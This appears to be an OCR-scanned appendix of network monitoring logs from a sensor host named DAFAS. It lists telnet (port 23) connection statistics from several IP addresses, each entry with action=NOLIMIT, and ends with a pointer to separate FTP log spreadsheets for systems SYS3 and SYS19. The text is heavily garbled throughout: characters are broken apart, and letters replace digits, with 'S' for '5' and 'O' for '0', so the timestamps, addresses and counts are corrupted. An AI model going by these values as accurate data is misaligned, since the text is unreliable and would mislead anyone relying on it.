l O :  3 S :  08 .  3 1 ,  port= 2 3, hos t= 17 2 .  3 1 . 22S . 3 8,  l h os t=O . O .  O. O, pea k =2 O, h ost p e a k= 6, re q u ests =S, term i n at i o n s=9 ,c u r re n t= 16 ,s uggest ed _l i m i t= 3 9 ,s uggest ed _p e re e ntage =3l,d u rat i on =O, w a rn i ng s =O ,q os_ ex c e p t io ns=O ,a et i o n =  N 

O L I  M IT,s ens orhostna me=DAFAS 

lS 

1 1 : 3  6 :48.  S 2,  port= 23,  hos t= l 7 2 .  3 1 . 2  2 S .  38,  l hos t=O . O .O .O,  pea k= 18, hos t p e a k= 7, re q u ests =6, t er  m i nat ion s =4, c u rrent= 18 ,s  uggest ed _l  i m i t= 3 3 ,s uggested _p e re  e ntage =46 , d  u rat  i o n =0, w a rn  i ng s =O,  q os_ exce ptio n  s =O ,a  et  i o n =  N 

O L I M IT,sensorhost n a m e = DAFAS 

lS 

1 2 : 3 8 : 2  8 .  83, p o rt=2 3, hos t= l 7 2 . 3 1 .  2 2 S . 38, l host=O .O .O .O,  pea k= 2 2, hos t pea k= 7,  re q u ests =8, t e r m i n at i on s=  7, c u rrent = 19 ,sugg est ed _l  i m i t= 4 2 ,s uggest ed _p e rcentag e=3 S,  d u rat  i on =O, w a r n i ng s =O , q  os_ ex c e pti o ns=O, a et  i o n =  N 

O L I M  IT,s ens orhostna me=DAFAS 

lS 

13 :40 : 0 9 . 18, port= 2 3, hos t= l 7 2 .  3 1 . 2  2S . 3  8,  l h os t=O .O .  O .  O,  pea k= 22, hos t p e a k=6, re q u ests =S,  t er  m i nati  o ns=8 ,c u r re n t =  16, s uggest ed _l  i m i t= 4 3 ,s uggest ed _p e re  e ntage=28, d u r at i on =O, w a rn i ng s =O , q  os_ e xce p t io  ns=O ,a  et  i o n =  N 

O L I M IT,s ens orhostna me=DAFAS 

lS 

14:41 :49 .48,port=23, host= 1 7 2 . 3 1 . 2 2 S .38, 1 host=O.O .O.O, peak=18, host peak=7,requ ests =8,term i n at i o ns=6,cu rrent=l8,suggested_l i m it=3 3 ,suggest ed_pe rcentage=46,d u rat ion=O,wa rn i ngs=O,q os_exce ptions=O, a ct ion=N 

O L I M IT,s ens orhostn a m e = DAFAS 

lS 

1S :43 : 2 9 . 79, port=2 3 , h ost=l72 . 3 1 . 2 2 S . 38, 1 host=O.O .O.O, peak=l8, hostpea k=6,requ ests =l,termi nat ions=S,cu rrent=l4,suggested_l i m it=34,suggested_pe rcentage=3 7,d u ra t i o n = O,warni ngs=O,qos_exce pt ions=O, a cti o n = N  

O L l  M IT,s ens orhostna me=DAFAS 

lS 

16 :4S : l0.04,port=23, host=l72 . 3 1 . 2 2 S .38, 1 host=O.O .O .O, pea k=lS,h ost pea k=4,requ ests=2,terminat ions=ll,cu rrent=S,suggested_l i m it=29,s uggested_pe rcentage=28,d u rat ion=O,wa rn ings=O,q os_exce pti o n s=O, a ct i o n = N  

O L I M IT,s ens orhostna me=DAFAS 

lS 

l 7 :46:  SO .31 ,  port= 2 3,  hos t= l 7 2 .  31 .  22S .3  8,  l h os t=O . O .  O .  O,  pea k =6,  hos t p e a k=4, re q u ests= l,  t er  m i n at i o ns=4, c u r re nt=2 ,s uggest ed _l  i m i t= 1 1, s ugg ested _p er  c e n ta g e =80, d u rat  i on =O, w a rn i ngs=O, q os_ exception s =O ,act i on =N O L 

l M I T,sens orhostna me= DAFAS 

Strictly confidenti a l  l Bus iness Secret l 
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15 

1 9 : 5 0 :  1 O .  9 7,  port= 2 3,  hos t =8 7 .  2 41.9 7 .  9, l h ost=O . O .  O .  O, p e a k=3 , h ost p e a k= 1, re q u ests=6, ter m i n at i o n s= 7, c u rre n t=O ,s  uggest ed _l  i m it=S, s uggest ed _p e re  e n ta ge=S O , d  u rat ion =O, w a rn i ngs=O, q os_ ex c e pti o ns=O ,act i o n= N O Ll  M 1 
T,sensorhost n a m e = DAFAS 

15 

2 O :  5 1 : 5 1 . 18, port=2 3, hos t=9 3 .186 .l  70 .54, l hos t=O .O .  O .  O, pea k= l,  hos t p e a k= 1 ,  re q u ests =2,  t e r m i n at i o n s= 2 , c  u rre nt=O, s uggest ed _l  i m it=2,  suggest ed _p e re  e n tag e= 100, d u rat  i o n  =O, w a rn  i ng s =O, q os_ ex c e pti o ns=O , a  et  i o n= N O L 

l M IT,se nsorhostna me=DAFAS 

16 

0 0 : 5 8 : 3 2 .45,port=23, host=127.0 . 0 . 1, 1 h ost=O.O.O .O,pea k=l,hostpea k=l,requests=l ,te r m i nat io ns=O, current=l,s uggested_l i m it=2,sugg ested_percentage=100, d u rat ion=O,wa rn i ngs=O,q os_exc eptions=O,act i o n = N O L I M IT, 

sensorhostna me =DAFAS 

16 

06:06:  5 3 . 86, port= 2 3,  hos t= 13 7 .  59.2 5 4 . 1 6 1 ,  l hos t =O .O .  O .  O, pea k =2,  hos t pea k= 2, re q u ests = 2, terminat io  n s =O ,c  u r re nt=2,s ugges te d _l  i m it=4 ,s  uggest e d  _p e re  e n tag e= 100, d u rat  i o n=O, w a rn  i ng s =O, q os_ e xce pt i  o n s=O,  a et  i o n= N O 

Ll M IT,se nsorhostna me=DAFAS 

16 

O 7 :08:  34.17,  port=23, hos t= 17 2. 3 1 . 2  2 5 . 38, l hos t=O . O .  O .O, pea k =9, h os t p e a k=2, re q u ests =9, t er  m i nati o ns=3, c u r re nt=8 ,suggested _l i m i t= 18 ,s uggest ed _perce ntage =2 2,d u rat i o n =O, w a rn i ngs=O, q os_ ex c eptions =O ,a  et i o n =  N O L 

I M I T,se nsorhost n a me=DAFAS 

16 

08 : 10 : 14.4 7 ,port=23, host= 1 7 2 . 3 1 . 2 2 5  .38, 1  host=O.O .0.0, peak=18, hos t peak= 7 , requests =12,  term i nat ions=3 ,c  u rrent=17 ,suggested _l i m i t =33,s uggested_percentage=46, d urat ion=O, warn i  ngs=O, qos_ except ions=O,act i  o n =  

NOL l  M IT,se nsorhost n a m  e= DAFAS 

16 

0 9 :  1 1 : 54.79,  port=23, hos t= 13 7 .59 .254.161,  l hos t =0 .O .O. O, pea k =2 2, hos t pea k =4, re q u ests= 7, te r m i n a t i o ns=3 ,c u r ren t= 2 1, s uggest ed _l i m it=45 ,s uggeste d _perce ntage= 17, d u rat i o n =O, w a rn i ngs=O, q o s_ ex c ep t i on s =O ,a  et i o n= 

N O L I M IT,se nsorhost n a m e = DAFAS 

16 

1 O :  1 3 : 3  5 .  03, port= 2 3,  hos t= 13  7 .5  9 .  2 54 .161,  l hos t =O. O .  O .O,  pea k =2 6, hos t pea k =6,  re q u ests=9 , te r m i n a t io  ns=4 ,c  u r re n t=2 6 ,s  uggest ed _l  i m it=S 2, s uggest e d _p e rcenta ge= 2 3,  d u ra t i on =O, w a r n i ngs=O, q os_ ex c ep t i o n  s =O , a  et  i o n =  

N O L l  M IT,se nsorhost n a m  e =  DAFAS 

16 

1 1 : 1 5 : 1 5 . 34, port=23, host=172 . 3 1 . 2 2 5  .38, l host=O.O .0.0,  pea k=26,  host pea k=6,  re q u ests=S,termi  nati  ons=8,current=23,suggested_l i mit=52,suggested_pe rcentage=23,d u rat ion =0, w a rn i  ngs=O,q os_ ex c e ptio ns=O, a cti o n = N  

O L I  M IT,sens orhostna me=DAFAS 

16 

12:  16:5 5 .  65,  port= 23,  hos t= 17 2 .  3 1 . 2  2 5 .  38, l hos t=O . O .O .  O, pea k =2 5,  h ost p e a k=9,  re q u ests = 12,  t er  m i nat ion s =  12, c u r re nt=2 3,  s uggest ed _l  i m it=4 7 ,s uggest ed _per c e n ta ge =40, d u rat  i o n  =O, w a rn i ngs=O ,q os_ ex c e p t i o ns=O ,a  et  i o n 

= N O L l  M IT,s ens orhostna m e = DAFAS 

Strictly confi denti a l  l Bus iness Secret l 
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1 3 :  1 8 : 3  5 .  94, port= 2 3 ,  hos t= l O . l  7 0 .  O .  53,  l h ost=O . O .  O .O, p e a  k =  2 4 ,  hostpea k=2, re q u ests =4, te r m i n a t i ons=S , c  u r rent=2 2,suggeste d _l i m i t = 5 2  ,s uggest ed _ p  e r e  e n tag e= 7 ,  d u r at i o n=O, w a r n i ngs=O, q os_ e x  c e pti ons=O ,act i o n= N O L l  

M IT,s e nsorhost n a m e= DAFAS 

16 

14:  20:  1 6 . 19, p o r t= 2 3,  h ost= l 7 2 .  3 1 . 2  25 . 38,  l hos t=O.  O .  O .  O, pea k =2 3, h ost p e a k=8,  re q u ests =6, t er  m i n at i o ns=8 ,c  u r re nt=20, suggest ed _l  i m i t= 43 ,s uggest ed _p e re e ntage =40 , d  u rat  i on =O, w a r n i ngs=O ,q os_ ex c e pti o ns=O , a  et  i o n =  N 

O L I M IT,sensorhostna me=DAFAS 

16 

15:  2 1 : 56 . 5 1, p o r t= 2 3, h os t= l 7 2 .  3 1 . 2  25 . 3 8, l h os t=O.  O .  O .  O, pea k =20, hos t p e a k=8, re q u ests =4, t er  m i nat ion s= 12 ,c  u r re n t= 12 ,s uggest ed _l  i m i t =3 6 ,s ugg est ed _perce ntage=SO, d u rat  i o n =O,  w a rn i ngs=O, q o s_ except i o n  s =O , a  et  i on= 

NOL l  M IT,se nsorhostna me= DAFAS 

16 

16:  2 3 : 3  6 .  8 7, port=2 3,  hos t= 17 2 . 3 1 .  2 2 S . 38, l hos t=O .O .O .O,  pea k= 12,  hos t pea k=4, re q u ests =O, t e r m i n a t i o n  s =5,  c u r rent= 7 ,sugges te d _l  i m it=2 2,s uggest ed _p e re e n tag e=40, d u rat i o n=O, w a rn  i ngs=O, q os_ ex c ep t i on s =O, a et  i o n =  NO 

Ll M I T,se nsorhostna me=DAFAS 

16 

1 7 : 2 5 :  17 . 1 6,port=23, host= 1 7 2 . 3 1 . 2 2 5  .38, l host=O.O .0 .0,  peak= 7,  hostpea k=l, requ ests=O, termi natio ns=S ,cu rrent=2,suggested_l i m i t=14 ,s uggested_perce ntage=14,d u rat ion =O, w a r n i  ngs=O , q  os_ exceptions=O,acti on=NOL 

I M I T,se nsorhostna me=DAFAS 

16 

20 :30 :  17 .98, port=23, host=164.9 .226 .94, l host=O .0 .0 .0, pea k=l, hostpea k=l , req uests=l, term i nat ions=O,cu rrent=l,s uggested _l i m it=2,sugge st ed _percentage=lOO,d u rat ion =O, w a rn i  ngs=O,q os_ ex c e pti o ns=O,act ion=N O Ll 

M IT,s e nsorh ost n a m e = DAFAS 

17 

2 3 : 3  5 :  18 .90, port=2 3, hos t=94. 2 S 5 .l  7 6 .18 9,  l hos t =0 .O .O .O,  pea k= l, hos t p e a k= l,  re q u ests= 2, t e r m i nat ion s =  2,  c u r rent =0 ,s ugges te d _l i m i t= 2,s uggest ed _p e re  entage = 100, d u rat  i o n =O, w a rn i ng s =0, q os_ exce pt i o n  s=O, a ct i o n= N O 

L I M  IT,se nsorhost n a me= DAFAS 

Stri ct ly confidenti a l  l Bus i ness Secret l 
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App endix HH:  Logs from FTP 

S i nce they a re more than 10,000 I i nes I ong, the re a re sepa rate l og fi les for the FTP sessions  esta b l i shed to l from SY19 and SYS3 ca l i ed 

• SYS3 - H ämtad data 10ma rs-23mars .x l sx 

• SYS19 - Hä mtad data 25feb-16mars .x l sx 

·;.;. 
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